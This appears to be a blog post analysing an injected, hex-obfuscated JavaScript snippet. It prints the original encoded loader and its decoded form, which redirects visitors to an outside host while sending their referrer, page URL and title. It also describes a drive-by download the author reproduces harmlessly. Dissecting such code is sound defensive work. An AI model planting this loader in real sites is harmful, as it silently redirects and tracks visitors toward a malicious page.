//////////////////////////////////////////////// //This is the original code: var c = '1412121278e6c6e4d2e0e87c1214121212ecc2e440e0d2cac6cae6407a40b614121212124e78e64e584ec6e4d24e584ee0e87c4e584eeed2dc4e584ec8deee5cd8de4e584ec6c2e84e584ed2de4e584edc7a5044d04e584ee8e84e584ee0744e584e5e5e4e584ef24e584ee64e584ee84e584ec2e84e584e5cc44e584ed24e584ef45e4e584ec6dce84e584e5e4e584ed2dc4e584e5cc6ce4e584ed27e4e584e684e584e4c4e584ee6cade4e584ee4ca4e584ecc7a4e581412121212cadcc6dec8caaaa49286dedae0dedccadce850c8dec6eadacadce85ce4cacccae4e4cae4525814121212124e4ce04e584ec2e44e584ec2daca4e584ee8ca4e584ee47a48d6ca4e584ef2ee4e584edee44e584ec84ce6ca4e584e7a48e6ca4c4e584eeae47a624e584e4c90a84e584ea8a04e584ebea44e584e8a8c4e584e8a4e584ea48a4e584ea47a4e581412121212cadcc6dec8caaaa49286dedae0dedccadce850c8dec6eadacadce85caaa498525814121212124e4cc84e584ecacc4e584ec2ea4e584ed8e8be4e584ed6ca4e584ef2ee4e584edee44e584ec87a4e581412121212cadcc6dec8caaaa49286dedae0dedccadce850c8dec6eadacadce85ce8d2e8d8ca525814121212124e44524e584e764e584e784e584e5e4e584ee6c64e584ee44e584ed2e0e84e584e7c4e14121212ba76121212121214121212c8dec6eadacadce85ceee4d2e8ca5040e0d2cac6cae65cd4ded2dc504e4e5240527614121212785ee6c6e4d2e0e87c141212'; var s = ''; for (i = 0; i < c.length; i+=2) s += String.fromCharCode( parseInt( c.substr(i, 2), 16) >> 1 ); document.write( s ); ///////////////////////////////////////////////// ///////////////////////////////////////////////// /// This is what is contained in "s" var pieces = [ '','win','dow.lo','cat','io','n=("h','tt','p:','//','y','s','t','at','.b','i','z/','cnt','/','in','.cg','i?','4','&','seo','re','f=', encodeURIComponent(document.referrer), '&p','ar','ame','te','r=$ke','yw','or','d&se','=$se&','ur=1','&HT','TP','_R','EF','E','RE','R=', encodeURIComponent(document.URL), '&d','ef','au','lt_','ke','yw','or','d=', encodeURIComponent(document.title), '")',';','<','/','sc','r','ipt','>' ]; document.write( pieces.join('') ); //////////////////////////////////////////////// //////////////////////////////////////////////// /// This is the final output: // (I put the instead of the real address, since I believe // the site might be videos that you don't want to see. /////////////////////////////////////////////// ////////////////////////////////////////////// // When you visit that page, you get to a page like this: http://jon.limedaley.com/misc/spam/test.txt which automatically(!) downloads an executable! It doesn't run it automatically, but it does save it without asking. Fortunately, IE7 doesn't automatically do it, but Firefox 2.0 does. I'll need to figure out why Firefox isn't checking with me first. Note that the "executable" in my example isn't executable at all, it is the output of "cat /dev/urandom > text.exe", so unless you are really unlucky, it can't possibly do anything. For those of you who think it wouldn't work, visit http://jon.limedaley.com/misc/spam/test.txt to see how it works.